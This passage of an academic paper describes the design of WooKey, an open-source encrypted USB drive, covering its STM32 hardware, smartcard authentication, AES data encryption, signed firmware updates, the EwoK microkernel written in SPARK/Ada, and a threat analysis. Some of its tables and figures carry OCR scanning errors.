covers, and to document the (un)achievable security features.

WooKey security overview: The security model is based on both
hardware and software primitives designed to bring in-depth security.
Hardware security relies on an extractable token embedding a secure
element. This token is meant to provide pre-boot authentication as well as
a secure storage area for the sensitive master keys of WooKey user data
encryption.

Software security relies on a microkernel that enforces privilege sep-
aration, memory isolation, WX principle, stack and heap anti-smashing
techniques. The most sensitive parts are implemented with a safe language
(SPARK/Ada).

The secure update mechanism over USB is based on the DFU (Device
Firmware Update) protocol [29]. It also uses the pre-boot user authentica-
tion feature to strengthen the security of the platform. Firmware integrity
and authenticity are based on state of the art cryptography.

2 Hardware Architecture

2.1 General hardware design

Hardware specifications: The functional and security inputs of the
WooKey specifications lead to natural design choices and/or requirements
when it comes to the hardware platform.

First, the processor at the heart of the design must embed a Memory
Management Unit (MMU) or at least a Memory Protection Unit (MPU).
These two hardware IPs provide a necessary privilege level separation
between a supervisor mode and a user mode. A MMU usually isolates tasks
memory using pagination, allowing two tasks to handle (virtual) pages
with different access rights and pointing to the same physical memory
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space. A MPU, usually implemented in embedded devices, allows a more
coarse-grained isolation: physical memory is split in distinct regions with
associated rights, and the number of simultaneous regions is often limited
yielding in much less flexibility than pages.

Secondly, a cryptographic accelerator must be present to guarantee
fast user data encryption. In order to achieve good performance on the
USB side, the controller must be compatible with the USB High Speed
(USB 2.0) specification.

Strong user authentication must be provided through the usage of
an external token, which securely embeds the sensitive master keys of
the platform. The firmware must remain authentic during the life-cycle
of the product, and be only updated through controlled means: debug
functionalities provided by the SoC manufacturer such as Joint Test Action
Group (JTAG) or Serial Wire Debug (SWD) interfaces must be reliably
deactivated.

Since the platform design will be open source, all components and
their data-sheets must be publicly available. The platform should have a
good security wversus price ratio.

We detail in the next sections the rationale behind our specific choices
for the hardware components.

2.2 USB controller choices

Using a microcontroller with an embedded firmware or an Application-
Specific Integrated Circuit (ASIC) emerged as the optimal choice to
properly implement a fully operational USB stack. The alternative of
using a Field-Programmable Gate Array (FPGA) dedicated to the USB
functions was too expensive compared to integrated SoCs, over and above
their availability issues for small quantities. From this standing point, we
eventually faced two options:

— Either use dedicated ASICs abstracting low-level protocol communica-
tion and exposing a simple interface [28].
— Or use microcontrollers (MCUs) with an embedded firmware.

We have chosen to use a MCU since it allows to reduce the complexity
of the PCB thanks to the integration level (many functions are embedded
on the same piece of silicon). Specifically, we have focused on the 32-bit
ARM-based Cortex-M cores: they embed a MPU, are compact and energy
efficient, and they provide desirable security features. Some of them allow
us to override/prevent any proprietary code execution (BootROM): we
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consider such privileged and unreviewed code as a possible important
threat. This is all the more true when considering that any discovered
vulnerability in this piece of software cannot be patched on the already
deployed SoCs [11]. Some Cortex-M-based MCUs offer the possibility
to disable debug interfaces in production and to prevent flash memory
Read/Write/Erase operations (Read protection allows protecting against
dumping sensitive data, Write/Erase protection allows preserving the
integrity of the firmware).

We emphasize here that even though general purpose MCUs pro-
pose security features, they are not secure elements. A recent study has
completely broken the NXP CRP (Code Read Protection) on the LPC
microcontrollers family [10] using a power glitch during the bootROM code
check of the CRP status. Another article [42] also circumvents STM32F0
RDP (Readout Protection) to recover the firmware embedded in the
flash using more invasive means (acid decapsulation to access the die and
light-based fault injection).

Even though these attacks involve more or less intrusive vectors, they
demonstrate the relative frailty of these features. This is why the WooKey
platform does not rely solely on them, and includes such possibly broken
features in the residual threats analysis.

Looking at the Cortex-M lines of the microcontrollers providers (Qual-
comm/NXP, Atmel/Microship, STMicroelectronics) that include USB
capabilities, we highlight several components families that would fit our
need in Table 2. After examining their respective features, we chose to dis-
card some of them. The NXP LPC43xx series do not include a bootROM
override feature, and their Big/Little architecture increases the attack
surface. The Cortex-M7-based Atmel SAMx7 and alike SoCs lack of OTP
(One Time Programmable memory) and their JTAG seems to be non-
lockable?. Finally, MCUs such as the NXP Kinetis K8x series or the newer
ARMvS8-M-based cores'® did not exist back in 2014 during the hardware
design phase.

We finally focused on the STM32F439 as it fits most of our needs.
Moreover, the Cortex-M4 SoCs have been widely studied in the recent
years, and the STM32F439 features a cryptographic coprocessor (the CRYP
engine) as well as a TRNG (True Random Number Generator).

The power consumption of this SoC is rated as high as 98 mA when
the core is running at maximum possibilities and all the peripherals are

9 At least from the publicly available documentation.
10 These SoCs seem very promising: they offer interesting security features such as a
lightweight TrustZone mechanism implementation.
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S

NXP LPC43Sxx « FH'Fra! vV V V
Atmel SAMx7 v FH'FH!

NXP Kinetis K8  rulrH! v ?¢ 74 /S

STM32 Cortex-M4 v ru'vr! v v V V V V V V V2V V

L F: Full-Speed, H: High-Speed, FH: both speeds.
2 >= 1 MBytes flash size.

3 256 KBytes flash size.

4 Unknown information or value.

Table 2. Overview of available ARM Cortex-M SoCs with USB capabilities

enabled. This leaves room for the other components on the board to be
powered even during the enumeration phase of the USB protocol where the
maximum allowed power consumption is 150 mA. Though this SoC has an
integrated USB Full Speed PHY (12 Mb/s capable), it needs an external
PHY to achieve High Speed (480 Mb/s). The communication between the
SoC and the PHY is done using ULPI, which is a standardized interface
for USB 2.0.

2.3 Data storage

We have chosen to store the encrypted user data on an external SD card.
This format has many advantages. It offers large storage capacities for an
affordable cost with a possible expansion of the USB thumb drive capacity
by switching the SD modules. Compared to raw flash modules, there is no
need to handle complex FTL (Flash Translation Layer) software layers:
the firmware embedded in the SD card takes care of this.

The fact that we use an active component that embeds a complex
and uncontrolled firmware [17] to handle the data could be seen as a
threat. This is, however, not the case since the SDIO protocol is simpler
than the USB protocol. Furthermore, the SD card firmware only transfers
encrypted data blocks on WooKey, which reduces the interest of a Man
In The Middle (MITM) attack on the SDIO bus.
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Nonetheless, since the SDIO driver is exposed to malleable user inputs,
all the software modules handling it will run isolated from other sensitive
modules (e.g. those manipulating secrets) using the MPU (see section 3.6).

2.4 Authentication tokens and secure elements

The need for an authentication token: Strong user authentication
ensures that no sensitive cryptographic operation is performed without
the legitimate user’s presence (through a correct PIN code). This implies
that all the cryptographic and authentication material must be handled
securely: a secure element seems to be a suitable choice for this task.

Splitting the platform and the user authentication material yields in a
strong two-factor authentication scheme. This is why we have chosen to
use an external and extractable user token (instead of soldering it) in the
form of a smartcard.

We emphasize the fact that the external token does not solely serve
a logical presence purpose: this critical element is actively used as a
safeguard, through cryptographic operations, when a sensitive action is
initiated (user data decryption, firmware updates). The way we handle
this strong adherence between the SoC of the platform and the external
token will be thoroughly explained in section 3.2.

Using an external token with strong user authentication allows us
to exclude many attack scenarios where the USB device is lost by the
legitimate user. If the hardware and software design are sound and if the
decryption master secrets are stored in the token, an adversary will only
be able to observe and abuse the pre-authentication modules of WooKey,
and hence all the post-authentication critical modules are safe. Moreover,
since the external token is based on a secure element, we can also include
lost tokens in our threat model.

Secure elements: Secure elements are the foundation of modern systems
security: they are usually considered as a hardware root of trust in systems
requiring strong authentication (payment and credit cards in the banking
ecosystem, SIM cards in telecom, TPM in PCs’ secure boot, etc.).

A secure element is in fact a microcontroller hardened against a wide
range of logical and physical attacks (side-channels attacks and fault
injections, cloning). It is validated by a formal process through Common
Criteria: certified laboratories perform pentests and assess attacks difficulty
and impacts so that the chip can be considered robust and certified at a
so-called EAL level.
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Finding a certified secure element that can be programmed without
signing NDAs and that can be bought in small quantities is not an
easy task. This is particularly true if one wants to have a bare-metal
access to the chip, e.g. to implement her own OS. The situation between
secure hardware suppliers and the Open Source community is thoroughly
discussed in [25] and [13].

Using the Javacard framework: The attempts to bring secure ele-
ments technology to the public domain have emerged through VM-backed
languages. The user code is confined in a Virtual Machine and the re-
sources of the platform are abstracted with standard and documented
APIs. This isolation serves various purposes: low-level layers are protected
against tampering and the isolated applications cannot interfere with
one another, the Virtual Machine API is standardized and proprietary
information is not needed to implement useful algorithms.
To the best of our knowledge, the two main lines of products using
publicly available secure elements are!!:
— The Javacard platform [43]: this is a lightweight version of the Java
language and runtime with embedded development constraints in mind.
It has become the de facto standard adopted by the industry since
the 90’s. A major asset of Javacard certified products is that the EAL
certification usually concerns the whole platform (from the low-level
chip to the VM).
— The BasicCard platform [56]: a Basic interpreter is embedded in these
smartcards. Though the underlying chips seem to be certified, this is
not the case of the whole platform.

Since Javacard is the only widely available framework to offer a Com-
mon Criteria certification, we have chosen to focus on this platform. More
specifically, we have developed and tested our applets on EAL 4 certified
NXP JCOP J3D081 2.4.2 smartcards [6]: we provide more details on
this in section 3.2.

2.5 Touch screen

In order to limit the smartcard PIN code exposition and defeat Man In
The Middle attacks on the USB bus or in a compromised host [24], we

' To a lesser extent, .NET VM-based smartcards also exist. We considered them out of
scope because of proprietary framework and development tools.
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have decided to include a user input interface directly on the platform.
This allows confining the PIN code to the WooKey device.

Among possible input devices technologies, we have chosen the TFT-
LCD ILI9341 with a AD7843 touch screen component. This allowed us to
design a randomized PIN pad that makes movements observation attacks
more complex [51]. We drive the touch screen from the STM32 SoC using
the SPI bus where both the ILI9341 and AD7843 are slaves.

The residual risk is that the PIN code flows in clear text on the internal
SPI bus: an adversary is able to recover it using hardware taps. We point
out, however, that the PIN is only one of the two factors used for the
authentication (the extractable token being the other one).

Fig. 2. WooKey hardware platform

2.6 Prototyping and cost estimations

All the elements described in the previous subsections are placed on two
4-layer PCB. The final dimensions are 44 x 66 x 8 mm. An overview of
the final design of WooKey is provided on Figure 2. At this stage of the
project, it is difficult to have an accurate cost estimation for the device in
a production context. We can nonetheless bring some feedbacks about our
experience with hardware manufacturing during our prototyping phase.
For a batch of 10 boards with PCBs produced in China and assembly
in France, the cost is around 300 € per board bundled with a 16 GB SD
card. We also did a simulation for 10 boards produced and assembled in
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the USA and we obtained an estimation of 174 €. The same company
charges 44 € per board for 1,000 boards. All these estimations do not
include the price of the circuit case.

The variations of the price are mainly due to three factors: the minimum
order quantity for each part of the circuit, the setup time, and the number
of boards and parts required for the batch.

Finally, the JCOP J3D081 smartcards can be found at around 30 €
per unit. Similarly to the PCB components, there is a scaling factor: the
per unit price drops to 2 € for 1,000 pieces.

As a comparison basis, the price of commercial USB Encrypted Flash
Drives usually fluctuates between 100 € and over 500 €.

3 Software architecture: towards a secure framework

3.1 General software design

Classical USB thumb drives need at least two main software components:
the USB stack to exchange data with the host and the mass storage man-
ager to store data. One of WooKey’s main feature is to encrypt the data at
rest, which requires a dedicated cryptographic module to encrypt/decrypt
this data. WooKey must securely manage both the cryptographic and
authentication materials along the user data path.

WooKey software modules

I
Touch Screen «—{ PIN — CryRig External Token
Token

Mass Storage === SDIO @ USB = USB PHY

WEeReSeBeTeEeTeReReREBeeRE e

1 Modules handling very sensitive information (authentication, master keys)
[ 1 Modules handling sensitive information (keys, user PIN)
[ 1 Modules handling less sensitive information (user data path)

Fig. 3. General software architecture of WooKey

The data path goes through three logical modules to read and write
data from/into the device.

— The USB module handles the USB communication with the host.
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— The SD module manages the mass storage device and read /write access
to encrypted data.

— The cryptographic module sits between these two modules. It encrypts
and decrypts data when authentication has been performed using the
external token.

The CRYP hardware module increases the cryptographic operations’
performance: processing an AES block takes very few cycles, and the
engine allows DMA (Direct Memory Access) transactions with the other

modules (USB and SDIO).

3.2 Handling cryptographic material and authentication:

Cryptography is involved in the user data at rest confidentiality and the
authentication token interactions on the WooKey platform. We discuss
the issues related to these topics hereafter.

About user data confidentiality and integrity: Full Disk Encryp-
tion (FDE) has become a matter of concern and a topic of interest in
applied cryptography these last years. This is mostly due to the develop-
ment of nomadic devices and the emergence of privacy issues (all modern
smartphones feature data encryption). From a pure cryptographic stand-
point the situation is not ideal though: the high-level features an end user
expects are both data confidentiality and integrity. Unfortunately, no ideal
efficient solution exists nowadays to ensure both these assets with a perfect
and proven security level. This is even more true since integrity expects
extra data to be stored on the disk in addition to the encrypted blocks,
and since fine-grained considerations such as local/global and temporal
integrity must be taken into account. This inherent complexity explains
why most devices acting as a transparent layer over the storage peripheral
and under the OS (e.g. embedded encrypting USB devices) chose to only
focus on user data confidentiality: this is also the case for WooKey.

User data confidentiality cipher: AES-XTS, standardized by the
NIST [3], has become a popular AES tweakable mode for block device
encryption. We have nonetheless decided to use AES-CBC-ESSIV [27]
(used in dm-crypt and its implementation in Android FDE) because
of performance reasons. Indeed, the CBC mode is accelerated on the
STM32F439, and AES-XTS can be quite greedy for CPU cycle on general
purpose MCUs because of operations over GF(2!?8). A major advantage
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of AES-XTS over AES-CBC-ESSIV is its better resilience against block
malleability [7]. We however stress out that integrity is still at risk with
AES-XTS: our approach is to clearly state that WooKey does not ensure
it. Hence, getting back a lost device or SD card and using them must
be considered dangerous. A straightforward solution for the end user is
to handle integrity in a higher layer, e.g. at the file system level. Future
work is planned to explore authenticated encryption schemes using the
AES-GCM acceleration in the CRYP engine (the tags data extra storage
and Initialization Vectors are still challenging issues in a FDE context).

The data path encryption module: Since we want the encryption
and decryption along the data path to be very efficient during USB and
SDIO transfers, we must avoid reconfiguring the AES CRYP engine (and
key schedule) at each transaction while preventing the USB and SDIO
tasks to steal and leak the sensitive data encryption key. Fortunately, we
can isolate the registers configuring and holding the AES key using the
MPU. This yields in the following split of the WooKey cryptographic task
in two modules:

— An untrusted cryptographic module: it shares its memory space with
the USB and SDIO tasks, and its job is to trigger AES-CBC encryption
and decryption in the CRYP and handle DMA transfers. This module
uses the CRYP with the key already setup, and never accesses the
secret value.

— A trusted cryptographic module: this module is confined and isolated
from the other tasks. It is in charge of setting up the CRYP key registers
with the secret AES key derived from the external authentication token.
It is also in charge of managing all communications with this token.

Authentication with the external token: The trusted cryptographic
module running on the STM32 SoC communicates with the external
smartcard (aka authentication token) through an ISO-7816-3 bus using
Application Protocol Data Units (APDUs). The main SoC and the token
embed (personalized) ECDSA key pairs. The first thing that is performed
by the two peers when the token is inserted is mutual authentication. This
is performed with an ephemeral ECDH (Elliptic Curve Diffie-Hellman key
exchange), then AES-CTR and HMAC-SHA-256 session keys are derived,
as well as a random IV (Initialization Vector) value. This allows to establish
a secure channel with confidentiality, integrity and anti-replay properties.
Forcing mutual authentication as a mandatory first step allows limiting the
attack surface (against malicious tokens or a malicious ISO-7816 master).
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On the platform side, we use the open source libecc!? that was
designed with embedded constraints in mind. On the token side, ECDSA
and ECDH are part of the Javacard 3.0.1 framework. AES-CTR and
HMAC-SHA-256 were not fully supported, so we have implemented our
own Javacard classes/applet over the built-in hardware accelerated AES-
ECB and SHA-256. One could wonder why we have decided to implement
our own secure channel while the Global Platform framework offers this
feature. None of the proposed schemes were adequate on our JCOP
Javacard: they are either broken [50] and/or make use of symmetric key
cryptography (compromising a platform would yield in breaking the token
secret key as well, which is prevented by asymmetric cryptography in our
case).

Whenever the PIN is entered on the touch screen, the cryptographic
module gets it and sends it to the token. The token checks the PIN, and if
the PIN is OK (locked after configurable n failures) it derives a key using
the PIN value and a master secret stored in the token. This key is sent
back to the main SoC and serves as the AES-CBC-ESSIV data master key.
The PIN also participates in secure channel session keys diversification to
bind the session to this authentication instance.

The CRYP engine is not certified (i.e. could be attacked through
side-channels), and since the secure channel is established and used before
the PIN is provided, we have chosen to use a dedicated software masked
AES for our AES-CTR [19,21,48]. The masked AES is secure but slow,
which is actually not an issue here because of the relatively limited baud
rate of the ISO-7816 channel and the small size of the data packets.

Finally, the external token (actually a token dedicated to firmware up-
dates) also participates in our DFU implementation as it will be described
in section 3.4.

3.3 About the WooKey personalization phase:

It is assumed in the threat model that the initial firmware upload and
configuration of the platform are performed in a trusted environment. The
security insurance brought by the defense-in-depth mitigations during the
life cycle of the product inherently depends on this critical phase.

The main steps that are handled during personalization are:

— Flash the initial firmware on a virgin and open device (i.e. with
JTAG/SWD unlocked).

2 https://github.com/ANSSI-FR/1libecc
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— Flash the Javacard applets on virgin and open smartcards (one for
user authentication, one for firmware signing, one for device firmware
update).

— Generate and deploy (on the platform and the external tokens) all the
master cryptographic keys, namely the ECDSA key pairs for mutual
authentication with user and update tokens, keys handling firmware
updates, as well as user data encryption master key.

— Deactivate JTAG/SWD, activate the flash RDP protection (level 2)
on the STM32F439 MCU in order to lock the platform in production
mode.

— Lock the external token smartcards in production mode (modify the
default Global Platform keys).

3.4 Designing an efficient and secure DFU mode

An often underrated security feature is the ability to maintain a product in
secure and working conditions. However, updating a USB device in a safe
way is not an easy task because such devices are often not self-powered
and may be disconnected at any time.

Because microcontrollers have very little memory space in volatile
memory, firmware upload and checking have to be performed in-place
in the flash area where it will be executed. Hence, this requires a flip-
flop mechanism ensuring software redundancy in order to handle any file
corruption (hazardous disconnection, data flow corruption, invalid crypto-
graphic signature, etc.). Such implementations are in general proprietary,
but are sometimes based on standards like the USB DFU protocol [29]
that allows device update through USB.

Allowing patching of device firmware is dangerous, as malware might
use this feature to replace the genuine firmware with a malicious one.
Therefore, DFU should not be accessible without explicit user activation
and authentication. The DFU implementation itself could contain bugs,
and as a consequence it should also be upgradable.

To support such features, we have decided that the DFU flip/flop
implementation should be separated from the standard firmware; it is
executable only after voluntary physical button toggling at boot time.

When the user willingly activates the DFU mode, the bootloader
expects a specific external token to be present. Mutual authentication
is performed with the token (the details of this protocol are provided
in section 3.2), and a specific PIN code (dedicated to updates) is asked
by the main SoC and checked on the token side. If the PIN is valid,
firmware upload can begin. The firmware is encrypted using a session key
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at production time, and this session key is decrypted using the token so
that its presence is indeed enforced during the update.

Once uploaded to the device, the new firmware integrity and authen-
ticity are checked using a cryptographic ECDSA signature validation,
and the default bootloader pointer is switched. The update version is
also validated in comparison to the current firmware version to avoid any
downgrade with an older and buggy (but signed) firmware [20].

All these constraints and security features impact the overall device
software mapping and reduce the available space for each software com-
ponent. Figure 4 shows the content of the device with all the required
components.

Flash memory STM32 RAM
kernel RAM
DFU 2
____________ ISR stack
firmware 2
app slot 8 app 8 RAM
DFU 1 app slot 7 app 7T RAM
firmware 1 app slot 3 app 3 RAM
app slot 2 app 2 RAM
shared app slot 1 app 1 RAM
loader kernel

Fig. 4. Overview of the embedded software mapping

Splitting the device software into two independent firmwares and into
two DFU-dedicated firmwares is an efficient way to bring some resilience
and protection against the risks previously described. However, even if it is
a way to protect the offline devices, it does not prevent any online software
attack. For instance, without any further protection mechanism, a flaw in
the USB stack implementation may allow an adversary to fully compro-
mise the device. Such escalations can be thwarted by enforcing memory
segregation between I/O applications (USB stack, etc.) and other parts
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of the device. In the following sections, we describe the countermeasures
implemented to avoid this kind of software exploitation.

3.5 Toward a highly secured embedded software

Most firmwares embedded in microcontrollers do not enforce any security
at all. In particular, the lack of isolation between software components
hinder enforcement of crucial security principles: e.g. least privilege or
privilege separation. Therefore, it is not uncommon that each component
of the firmware can access the whole memory space and that any bug in
the smallest piece of code can corrupt the entire system.

Overview of the software security requirements: We retained sev-
eral security requirements to bring the WooKey platform to a security
level nearing the state of the art, while respecting the inherent flash and
RAM small footprints:

1. Using the MPU to enforce the least privilege principle and to protect
the most sensitive assets.

2. Formal verification of critical code, or at least the usage of a safe
language to harden the implementation.

3. Advanced in-depth mitigation mechanisms (stack-smashing protection,
heap protection, WX, etc.).

4. Being open source to permit peer review.

The MPU, a crucial confinement primitive: Most of modern 32-bit
microcontrollers have a Memory Protection Unit (MPU) and a processor
with at least two CPU privilege levels (the so-called user mode and
supervisor mode). The MPU is a programmable unit that allows privileged
software, often a kernel, to define memory access permissions in order
to isolate memory regions. It can be used to enforce confinement and
privilege separation between unprivileged components, like tasks executed
in user mode. These tasks must not break out of their address space.

Microkernels paradigm: Microkernels architecture (e.g. QNX, Fi-
asco.0C, Sel4, OKL4, etc.) goes back to the 1970’s [47,55] and enforce the
least privilege principle by isolating the drivers in their own address space.
Vulnerabilities in a driver are kept confined and cannot compromise other
parts of the system. Another advantage over monolithic kernels is that the
Keep It Simple and Stupid (KISS) paradigm is also applied. By keeping
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microkernels minimal, with fewer functionalities, they are in theory simpler
to design, implement, debug, and maintain, and they are therefore less
error-prone. Another consequence of shrinking the functionalities and the
number of syscalls is that the exposed code to untrusted applications (and
hence the attack surface) is drastically reduced. Drivers still have to be
implemented, but as userspace tasks, with limited access rights.

Safe languages: Most kernels and microkernels are written in C with a
pinch of assembly. The major drawback of the C language is its proneness to
coding errors. Out-of-bound array accesses, integer overflows and dangling
pointers are difficult to avoid due to the weakly enforced typing. Such
bugs can become nonetheless devastating when exploited in a privileged
context.

A way to prevent such vulnerabilities is to use a safe language.
Pierce [45] defines a safe language as one that protects and guarantees the
integrity of its own abstractions, which can be achieved by static checking,
but also by run-time checks. Many high-level languages share this feature,
but very few are actually suitable for operating systems programming, let
alone embedded bare-metal programming.

Using a safe language for implementing low-level kernel code is an
approach that goes back to the early 1970’s [32,46]. Nowadays, such
initiatives are not widespread, and usually use languages such as Rust (for
example Redox!'? or Tock!#) or Ada [16,38].

Ada is designed for building high-confidence and safety-critical appli-
cations [15,49]. It is a strongly typed language that supports bare-metal
programming, and can circumvent most well-known vulnerabilities like
buffer overflows or invalid pointers management by enforcing type checking
at compile time and at run time.

SPARK is an Ada subset that can be used with the GNATprove tool
to prove that the written code is free of any type violations. SPARK
and GNATprove bring confidence in the soundness of the code, therefore
allowing to remove run-time Ada type checks. This yields in better perfor-
mance, smaller memory footprint and no run-time exception breaking the
execution flow.

Rust is a rather new promising language with increasing popularity. It
aims at enforcing strong static type checking and memory safety.

'3 https://github.com /redox-os/redox
1 https://www.tockos.org/



170 WooKey

|Language|Safe language Formal proof Memory footprint Well-known|

C X X v low v/
Ada v v (SPARK) V low' X
Rust v X X high ~2

; Ada can embed runtime checks. SPARK code reduces such checks size.
Recent language, but with a growing and active community.

Table 3. Comparison between the languages used in the WooKey project

Formal methods: Formal methods allow proving functional correctness
and soundness of a design and/or of an implementation with respect to
some predefined properties. This approach fits well with microkernels.

It was successfully applied to Sel4 [33], proving that its implementation
is free of several classes of vulnerabilities (deadlocks, buffer overflows and
arithmetic exceptions).

This approach has nonetheless some drawbacks. It is complex, and it
is not uncommon that the number of proof code lines goes well beyond
the number of code lines to prove (Sel.4’s 8,500 lines of C code induced
200,000 lines of proof and 11 man-years of work [33]). Moreover, inner
constraints limit the scope of the properties that can be proven.

Defense-in-depth security mitigations: Software exploit mitigation
uses many techniques: stack canaries, ASLR (Address Space Randomiza-
tion), page guards, heap protection, memory isolation, non-executable
data regions, WX, kernel side checks, data sanitization, etc. Thus, even
if an attacker may find a flaw in one defense, combining many of them
multiplies by orders of magnitude the efforts needed to bypass all of them.

3.6 EwoK, a driver-oriented microkernel

Enforcing memory protection, tasks isolation and providing access control
to the assets and to the hardware requires a kernel.

A brief survey of embedded kernels (summarized in table 4) shows
that none of them met our security requirements. We discarded non-free
and closed source kernels, despite some of them have interesting security
features (BOLOS operating system, INTEGRITY, ProvenCore, etc.). We
also discarded most of open source embedded kernels: their real-time
driven design is barely compatible with the overhead produced by security
mechanisms (Contiki, FreeRTOS, etc.).

TockOS [36] is a new kernel written in Rust that benefits from the
memory protection mechanisms offered by this language in order to secure
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the drivers execution. The major drawback is its memory footprint that
does not fit within our hardware limitations.

L4 microkernels have some interesting security properties but they
target bigger devices. Among the L4 family, F9-kernel [31] is designed to
be executed on microcontrollers (such as the STM32F4 family). However,
it is written in C, with no specific security properties.

Therefore, we decided to develop our own microkernel.

Features and security properties: EwoK is a microkernel that pro-
vides the necessary functionalities to execute device drivers as user tasks.
It implements all the security requirements exposed above.

It enforces at build time a strict memory partitioning between tasks,
despite the inner limitations of the MPU that only allows 8 memory
regions at the same time [30].

Registered devices are mapped only when needed, enforcing the least
privilege principle. The drivers (running as tasks) can claim resources, like
GPIO, DMA and MMIO devices, during their initialization phase.

Tasks may communicate using IPC or shared memory. For example,
the untrusted cryptographic task (handling the user data path) and the
trusted cryptographic task (handling the smartcard and the master keys)
are synchronized using IPC.

Permissions are statically defined at build time to avoid improper
access or information leakage.

A user task supports two contexts: a main context and an Interrupt
Servicing Routine (ISR) context. The kernel manages the processor inter-
rupts in the so-called ARMv7m privileged handler mode. Then execution
is dispatched to the registered ISR handlers to be executed in user mode.

Critical parts of the kernel and the components belonging to the
Trusted Computing Base (TCB) are developed in SPARK/Ada (see Fig-
ure 5). Criteria for identifying these components are their role in the
security of the platform as well as their exposure to untrusted applications
and to user inputs.

EwoK is also hardened with defense-in-depth mechanisms: usage of
the WX paradigm and stack guards (inspired from stack canaries). Due
to the low amount of RAM and the lack of virtual memory, we abandoned
the idea of implementing ASLR.

The software implementation suffered from two major hurdles: the
small amount of available RAM memory and the IPCs performance.
Executing drivers as user tasks implies that function calls are replaced
with TPCs, which generates an overhead that can be a real burden for
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Table 4. Existing embedded kernels and EwoK features versus WooKey constraints
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low-power devices [14]. The kernel uses a mixed collaborative/preemptive
scheduler, with an event-based threshold support for high reactivity of
ISRs and tasks: tasks can yield and ask (under certain circumstances
and permissions) for voluntary reschedule of their main threads, but a
preemptive time slotting and a priority management is maintained by the
kernel scheduler. Using (controlled) shared memory and DMA transactions
also participates in improving performance.

4 N
*I1 *1 *} i
syscalls I softirqd ) scheduler dma-control
1 i
|_clock & rcc | MPU L UART | task init
' *W s *W *i e )
timers | [ gpios ) devices | idle task |
N J
(Ada)(Ada+SPARK |

1 External API, requires efficient validation of input and output values
1 Security critical component. Impacts the overall security

* Need for correctness. May impact the safety/efficiency of the target

Fig. 5. Block diagram of the software components of the EwoK microkernel

EwoK, the WooKey gate keeper: The WooKey project aims at pro-
tecting user sensitive assets against their stealing by adversaries. In order
to do so, the main cryptographic secrets are stored in an external smart-
card which needs to be connected to the device at boot time to allow the
data read and write actions.

In order to protect these critical assets (the master keys and the PIN
code), the kernel segregates the data plane (USB to/from mass storage)
and the authentication plane.

Figure 6 describes such a logical partitioning. Mutual authentication
with the smartcard is controlled by a process dedicated to the secure
channel management. Another dedicated process manages the embedded
screen and touchpad. The data encryption/decryption is done using cryp-
tographic content accessible only when the external token authentication
has been successfully performed. The USB and SDIO stacks have access
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to the current session data, as they manage the transfers to and from the
external host, but have no direct access to the master cryptographic assets
inside the smartcard.

SDIO ' r > USB FS/HS
memory mapped memory mapped

<~/ 1
evice /14 storage ° device

manager

~

Screen
memory mapped
evice

~

M [SO-7816 (USART)
memory mapped
device

Touchscree
memory mapped,
evice

Fig. 6. Usage of EwoK in WooKey

Completely separating the USB stack, the untrusted cryptographic
subsystem and the mass storage manager in terms of processes and shared
memory is still an ongoing investigation. The final design will heavily
depend on performances trade-offs.

The bottleneck that would emerge is in the data path between the USB
and the SDIO sides. In any case, the data plane and the cryptographic
module handling the external token and the sensitive assets are confined
in distinct memory spaces: their interactions do not need high speed and
can therefore be handled using IPCs.

3.7 MosEslie: towards a versatile SDK

In order to easily integrate new software, drivers and tasks in the WooKey
platform and over the EwoK microkernel, we have designed a dedicated
SDK (Software Development Kit): MosEslie. It uses only widespread open
source tools (GCC, GNAT, Kconfig, Makefiles, etc.) without any external
dependencies.

The SDK helps configuring the flash and RAM partitioning for the
applications, as well as the shared memory slots and the IPC control
flow matrix. The memory protection layouts applied by the MPU and
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the whole permissions are automatically generated by the configuration
subsystem. If no proper layout can be produced (i.e. inconsistent MPU
configuration at runtime), the SDK displays a comprehensive error.

Finally, MosEslie makes integrating software written in safe languages
(Ada and Rust) very easy thanks to their binding interfaces with C, hence
providing a mixed languages firmware.

4 WooKey: a security and threat analysis

The expected requirements of the platform (regarding hardware, software
and security) are recalled in Table 5.

| Hardware | Software | Security |
MPU Resilient storage Strong authentication
Crypto-processor Performance Signed firmware update
Conforming to USB2.0 |Open Confinement of exposed interfaces
Open, COTS and cheap|Modular and evolutive|Static and checkable permissions
JTAG /flash protections |Versatile SDK Safe languages for critical parts

Table 5. Platform security requirements overview

We have chosen to build the WooKey hardware platform around
the STM32F439 SoC featuring a MPU for memory confinement, AES co-
processor and TRNG random generator. Only off-the-shelf and widely
available components are used on the PCB.

The strong authentication requirement is ensured using an extractable
secure element (see section 2.4): an affordable Javacard smartcard with a
dedicated applet. The PIN code is entered on a TFT touch screen (see
section 2.5) ensuring no leak to the host.

The firmware’s integrity and authenticity are serviced using a robust
and strengthened DFU mode involving digital signature and authentication
token interactions (explained in section 3.4).

The EwoK microkernel provides efficient isolation of distinct firmware
parts, static configuration of the applications and their memory layout,
Ada usage on sensitive modules and SPARK formal verification on very
critical ones (such as the MPU driver) as detailed in section 3.5.

Hence, most of the hardware and software requirements listed in Table 5
are met. The performance benchmarking is still an ongoing work: many
modules have been individually tested and no major issue should arise
once the complete integration is performed. The integration and the fine
tuning are in progress, nonetheless not finished yet.
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We leverage the implemented two-factor authentication method (user
PIN and smartcard). The fact that WooKey does almost nothing during
pre-authentication allows preventing some attack scenarios:

— Adversaries that use side-channel attacks or fault injection without the
authentication token won’t be able to do much. This still stands if they
have the token without the PIN: since all the cryptographic sensitive
material remains locked in a secure element, this should resist to such
a class of attacks (under the assumption of the CC EAL certification
of the secure element of course). The only part that is exposed is the
secure channel (using ECDSA and ECDH, AES-CTR and HMAC-
SHA-256) established in the pre-authentication phase: failed attempts
could yield in locking the platform by using a counter stored in flash.

— Try to mimic hardware and software: unintelligent attempts will fail
thanks to the strong cryptography (secure channel) performed in the
pre-authentication phase (since the adversaries do not have the ECDSA
private keys). The only asset that an attacker will be able to get is the
user PIN by deceiving the legitimate user in entering it. However, the
adversary still has to achieve physical possession of the external token.

On the features that are lacking by design on WooKey, we have:

— Trojan firmware, aka evil maid style attacks. Our DFU ensures that

firmware updates are sound and authentic, but there is no check at
boot time that the firmware has not been altered by other means:
either physically by manipulating the flash (JTAG/SWD and so on),
or logically through exploiting a buffer overflow for instance. We
try to limit the physical modifications by using ST RDP (Readout
Protection) that locks the platform in production, but section 2.2
and [10, 42] have shown how such countermeasures could become
fragile against aggressive attack vectors (decapping and faulting). On
the software part, EwoK is precisely dedicated to intrusion mitigation
and confinement.
Against trojan firmware, secure boot technologies could come to the
rescue, but they might not be the silver bullet we expect to thwart such
threats [11]. Newer MCUs also integrate transparent flash encryption
using a dedicated cryptographic co-processor (a technology inherited
from the secure elements and the FPGA worlds). However, such recent
